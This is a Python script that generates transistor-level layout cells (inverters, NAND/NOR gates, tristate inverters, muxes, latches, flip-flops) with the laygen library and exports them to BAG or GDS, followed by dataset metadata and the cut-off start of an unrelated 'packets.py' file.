routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
m=4, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nsw_wovdd_8x')
laygen.sel_cell('nsw_wovdd_8x')
generate_nsw_wovdd(laygen, objectname_pfix='NSW0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
m=8, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nsw_wovdd_12x')
laygen.sel_cell('nsw_wovdd_12x')
generate_nsw_wovdd(laygen, objectname_pfix='NSW0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
m=12, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nsw_wovdd_16x')
laygen.sel_cell('nsw_wovdd_16x')
generate_nsw_wovdd(laygen, objectname_pfix='NSW0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
m=16, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nand_1x')
laygen.sel_cell('nand_1x')
generate_nand_1x(laygen, objectname_pfix='ND0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin,
routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body_2stack='nmos4_fast_center_2stack',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body_left='pmos4_fast_center_nf1_left',
devname_pmos_body_right='pmos4_fast_center_nf1_right',
create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nor_2x')
laygen.sel_cell('nor_2x')
generate_nor(laygen, objectname_pfix='NR0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=2, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nor_4x')
laygen.sel_cell('nor_4x')
generate_nor(laygen, objectname_pfix='NR0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=4, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nor_8x')
laygen.sel_cell('nor_8x')
generate_nor(laygen, objectname_pfix='NR0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=8, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nand_2x')
laygen.sel_cell('nand_2x')
generate_nand(laygen, objectname_pfix='ND0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=2, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nand_4x')
laygen.sel_cell('nand_4x')
generate_nand(laygen, objectname_pfix='ND0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=4, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nand_8x')
laygen.sel_cell('nand_8x')
generate_nand(laygen, objectname_pfix='ND0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=8, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nand_16x')
laygen.sel_cell('nand_16x')
generate_nand(laygen, objectname_pfix='ND0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=16, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nand_match_2x')
laygen.sel_cell('nand_match_2x')
generate_nand_match(laygen, objectname_pfix='ND0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_dmy='pmos4_fast_dmy_nf2',
m=2, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nand_match_4x')
laygen.sel_cell('nand_match_4x')
generate_nand_match(laygen, objectname_pfix='ND0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_dmy='pmos4_fast_dmy_nf2',
m=4, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nand_match_8x')
laygen.sel_cell('nand_match_8x')
generate_nand_match(laygen, objectname_pfix='ND0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_dmy='pmos4_fast_dmy_nf2',
m=8, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nand_match_16x')
laygen.sel_cell('nand_match_16x')
generate_nand_match(laygen, objectname_pfix='ND0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_dmy='pmos4_fast_dmy_nf2',
m=16, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('tinv_1x')
laygen.sel_cell('tinv_1x')
generate_tinv_1x(laygen, objectname_pfix='TINV0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body_2stack='nmos4_fast_center_2stack',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body_2stack='pmos4_fast_center_2stack',
devname_pmos_space='pmos4_fast_space',
pin_i_abut='pmos', create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('tinv_small_1x')
laygen.sel_cell('tinv_small_1x')
generate_tinv_small_1x(laygen, objectname_pfix='TINV0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body_2stack='nmos4_fast_center_2stack',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body_2stack='pmos4_fast_center_2stack',
devname_pmos_space='pmos4_fast_space',
pin_i_abut='pmos', create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('tinv_2x')
laygen.sel_cell('tinv_2x')
generate_tinv(laygen, objectname_pfix='TINV0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=2, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('tinv_4x')
laygen.sel_cell('tinv_4x')
generate_tinv(laygen, objectname_pfix='TINV0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=4, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('tinv_8x')
laygen.sel_cell('tinv_8x')
generate_tinv(laygen, objectname_pfix='TINV0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=8, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('mux2to1_1x')
laygen.sel_cell('mux2to1_1x')
generate_mux2to1_1x(laygen, objectname_pfix='MUX2TO10', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body_2stack='nmos4_fast_center_2stack',
#devname_nmos_body_left='nmos4_fast_center_nf1_left',
#devname_nmos_body_right='nmos4_fast_center_nf1_right',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body_2stack='pmos4_fast_center_2stack',
#devname_pmos_body_left='pmos4_fast_center_nf1_left',
#devname_pmos_body_right='pmos4_fast_center_nf1_right',
create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('mux2to1_2x')
laygen.sel_cell('mux2to1_2x')
generate_mux2to1(laygen, objectname_pfix='MUX2TO10', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_space='pmos4_fast_space',
m=2, create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('mux2to1_4x')
laygen.sel_cell('mux2to1_4x')
generate_mux2to1(laygen, objectname_pfix='TINV0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_space='pmos4_fast_space',
m=4, create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('mux2to1_8x')
laygen.sel_cell('mux2to1_8x')
generate_mux2to1(laygen, objectname_pfix='TINV0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_space='pmos4_fast_space',
m=8, create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('latch_2ck_1x')
laygen.sel_cell('latch_2ck_1x')
laygen.templates.sel_library(workinglib)
generate_latch_2ck(laygen, objectname_pfix='LATCH0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=1, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
laygen.add_cell('latch_2ck_2x')
laygen.sel_cell('latch_2ck_2x')
laygen.templates.sel_library(workinglib)
generate_latch_2ck(laygen, objectname_pfix='LATCH0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=2, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
laygen.add_cell('latch_2ck_4x')
laygen.sel_cell('latch_2ck_4x')
laygen.templates.sel_library(workinglib)
generate_latch_2ck(laygen, objectname_pfix='LATCH0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=4, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
laygen.add_cell('latch_2ck_8x')
laygen.sel_cell('latch_2ck_8x')
laygen.templates.sel_library(workinglib)
generate_latch_2ck(laygen, objectname_pfix='LATCH0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=8, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
laygen.add_cell('latch_2ck_rstbh_2x')
laygen.sel_cell('latch_2ck_rstbh_2x')
laygen.templates.sel_library(workinglib)
generate_latch_2ck_rstbh(laygen, objectname_pfix='LATCH0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=2, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
laygen.add_cell('latch_2ck_rstbh_4x')
laygen.sel_cell('latch_2ck_rstbh_4x')
laygen.templates.sel_library(workinglib)
generate_latch_2ck_rstbh(laygen, objectname_pfix='LATCH0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=4, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
laygen.add_cell('dff_1x')
laygen.sel_cell('dff_1x')
laygen.templates.sel_library(workinglib)
generate_dff(laygen, objectname_pfix='DFF0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=1, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
laygen.add_cell('dff_2x')
laygen.sel_cell('dff_2x')
laygen.templates.sel_library(workinglib)
generate_dff(laygen, objectname_pfix='DFF0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=2, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
laygen.add_cell('dff_4x')
laygen.sel_cell('dff_4x')
laygen.templates.sel_library(workinglib)
generate_dff(laygen, objectname_pfix='DFF0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=4, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
laygen.add_cell('dff_rsth_1x')
laygen.sel_cell('dff_rsth_1x')
laygen.templates.sel_library(workinglib)
generate_dff_rsth(laygen, objectname_pfix='DFF0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=1, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
laygen.add_cell('dff_rsth_2x')
laygen.sel_cell('dff_rsth_2x')
laygen.templates.sel_library(workinglib)
generate_dff_rsth(laygen, objectname_pfix='DFF0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=2, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
laygen.add_cell('dff_rsth_4x')
laygen.sel_cell('dff_rsth_4x')
laygen.templates.sel_library(workinglib)
generate_dff_rsth(laygen, objectname_pfix='DFF0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=4, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
laygen.add_cell('oai22_1x')
laygen.sel_cell('oai22_1x')
generate_oai22_1x(laygen, objectname_pfix='OAI0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body_left='nmos4_fast_center_nf1_left',
devname_nmos_body_right='nmos4_fast_center_nf1_right',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body_2stack='pmos4_fast_center_2stack',
origin=np.array([0, 0]), create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('oai22_skewed_1x')
laygen.sel_cell('oai22_skewed_1x')
generate_oai22_skewed_1x(laygen, objectname_pfix='OAI0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body_left='nmos4_fast_center_nf1_left',
devname_nmos_body_right='nmos4_fast_center_nf1_right',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body_2stack='pmos4_fast_center_2stack',
origin=np.array([0, 0]), create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('ndsr_1x')
laygen.sel_cell('ndsr_1x')
laygen.templates.sel_library(workinglib)
generate_ndsr(laygen, objectname_pfix='NDSR0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=1, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
laygen.add_cell('ndsr_2x')
laygen.sel_cell('ndsr_2x')
laygen.templates.sel_library(workinglib)
generate_ndsr(laygen, objectname_pfix='NDSR0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=2, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
laygen.save_template(filename=workinglib+'.yaml', libname=workinglib)
#bag export, if bag does not exist, gds export
mycell_list=['space_1x', 'space_2x', 'space_4x',
'space_wovdd_1x', 'space_wovdd_2x', 'space_wovdd_4x',
'tap', 'tap_wovdd', 'tap_float', 'tap_float_pmos_vss', 'tap_pmos_vss', 'tie_2x', 'tie_wovdd_2x',
'bcap_4x', 'bcap_8x',
'dcap_2x', 'dcap_4x', 'dcap_8x',
'dcap2_4x', 'dcap2_8x',
'dcap3_8x',
'bcap2_8x',
'inv_1x', 'inv_2x', 'inv_4x', 'inv_6x', 'inv_8x', 'inv_10x', 'inv_16x', 'inv_24x', 'inv_32x',
'tgate_2x', 'tgate_4x', 'tgate_8x',
'nsw_2x', 'nsw_4x', 'nsw_8x', 'nsw_12x', 'nsw_16x',
'nsw_wovdd_2x', 'nsw_wovdd_4x', 'nsw_wovdd_8x', 'nsw_wovdd_12x', 'nsw_wovdd_16x',
'tinv_1x', 'tinv_small_1x', 'tinv_2x', 'tinv_4x', 'tinv_8x',
'nand_1x', 'nand_2x', 'nand_4x', 'nand_8x', 'nand_16x',
'nand_match_2x', 'nand_match_4x', 'nand_match_8x', 'nand_match_16x',
'nor_2x', 'nor_4x', 'nor_8x',
'latch_2ck_1x', 'latch_2ck_2x', 'latch_2ck_4x', 'latch_2ck_8x',
'latch_2ck_rstbh_2x', 'latch_2ck_rstbh_4x',
'dff_1x', 'dff_2x', 'dff_4x',
'dff_rsth_1x', 'dff_rsth_2x', 'dff_rsth_4x',
'oai22_1x', 'oai22_skewed_1x',
'ndsr_1x', 'ndsr_2x',
'mux2to1_1x', 'mux2to1_2x', 'mux2to1_4x', 'mux2to1_8x',
]
#Zhongkai's cells
tgate_dn_size = [2, 4, 8, 16, 18, 24]
pull_dn_size = 4
for m in tgate_dn_size:
laygen.add_cell('tgate_dn_'+str(m)+'x')
laygen.sel_cell('tgate_dn_'+str(m)+'x')
generate_tgate_dn(laygen, objectname_pfix='TG0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_space='pmos4_fast_space',
m=m, n= pull_dn_size, create_pin=True
)
laygen.add_template_from_cell()
mycell_list.append('tgate_dn_'+str(m)+'x')
#cap_sw
cap_sw_size = [2, 4, 8, 16, 32]
for m in cap_sw_size:
laygen.add_cell('cap_sw_'+str(m)+'x')
laygen.sel_cell('cap_sw_'+str(m)+'x')
generate_cap_sw(laygen, objectname_pfix='CSW0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_space='pmos4_fast_space',
m=m, create_pin=True
)
laygen.add_template_from_cell()
mycell_list.append('cap_sw_'+str(m)+'x')
inv_size = [6, 8, 36, 40, 50, 64, 100]
for m in inv_size:
laygen.add_cell('inv_'+str(m)+'x')
laygen.sel_cell('inv_'+str(m)+'x')
generate_inv(laygen, objectname_pfix='INV0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin,
routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=m, create_pin=True
)
laygen.add_template_from_cell()
mycell_list.append('inv_'+str(m)+'x')
#latch
latch_2ck_strstbh_size = [1, 2, 4, 8]
for m in latch_2ck_strstbh_size:
laygen.add_cell('latch_2ck_strstbh_'+str(m)+'x')
laygen.sel_cell('latch_2ck_strstbh_'+str(m)+'x')
laygen.templates.sel_library(workinglib)
generate_latch_2ck_strstbh(laygen, objectname_pfix='LATCH0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=m, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
mycell_list.append('latch_2ck_strstbh_'+str(m)+'x')
#dff
dff_strsth_size = [1, 2, 4, 8]
for m in dff_strsth_size:
laygen.add_cell('dff_strsth_'+str(m)+'x')
laygen.sel_cell('dff_strsth_'+str(m)+'x')
laygen.templates.sel_library(workinglib)
generate_dff_strsth(laygen, objectname_pfix='DFF0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=m, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
mycell_list.append('dff_strsth_'+str(m)+'x')
#dff_clkb
dff_strsth_clkb_size = [1, 2, 4, 8]
for m in dff_strsth_clkb_size:
laygen.add_cell('dff_strsth_ckb_'+str(m)+'x')
laygen.sel_cell('dff_strsth_ckb_'+str(m)+'x')
laygen.templates.sel_library(workinglib)
generate_dff_strsth_ckb(laygen, objectname_pfix='DFF0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m3m4=rg_m3m4,
origin=np.array([0, 0]), m=m, create_pin=True)
laygen.templates.sel_library(utemplib)
laygen.add_template_from_cell()
mycell_list.append('dff_strsth_ckb_'+str(m)+'x')
#end Zhongkai's cells
laygen.save_template(filename=workinglib+'.yaml', libname=workinglib)
import imp
try:
imp.find_module('bag')
import bag
prj = bag.BagProject()
for mycell in mycell_list:
laygen.sel_cell(mycell)
laygen.export_BAG(prj, array_delimiter=['[', ']'])
except ImportError:
laygen.export_GDS('output.gds', cellname=mycell_list, layermapfile=tech+".layermap") # change layermapfile
| 71.825161 | 208 | 0.64874 | 52,433 | 367,673 | 4.345927 | 0.012053 | 0.066599 | 0.032861 | 0.027213 | 0.974112 | 0.966485 | 0.957704 | 0.951459 | 0.944047 | 0.935871 | 0 | 0.067221 | 0.191115 | 367,673 | 5,118 | 209 | 71.839195 | 0.698973 | 0.043677 | 0 | 0.770167 | 0 | 0 | 0.052658 | 0.00715 | 0 | 0 | 0 | 0 | 0 | 1 | 0.011456 | false | 0 | 0.002148 | 0 | 0.013604 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2936067d2b4ccaf0ffe52fd08e0904f29ee4f348 | 210,420 | py | Python | packets.py | hankersyan/mp20simulator | 72e1a2b2652588ba7651892ee9230f43567f2d24 | [
"Apache-2.0"
] | 3 | 2019-11-15T03:41:16.000Z | 2021-10-12T06:24:17.000Z | packets.py | hankersyan/mp20simulator | 72e1a2b2652588ba7651892ee9230f43567f2d24 | [
"Apache-2.0"
] | null | null | null | packets.py | hankersyan/mp20simulator | 72e1a2b2652588ba7651892ee9230f43567f2d24 | [
"Apache-2.0"
] | 2 | 2019-11-15T03:41:20.000Z | 2019-11-15T03:46:19.000Z |
# data or wave association request
association_request = \
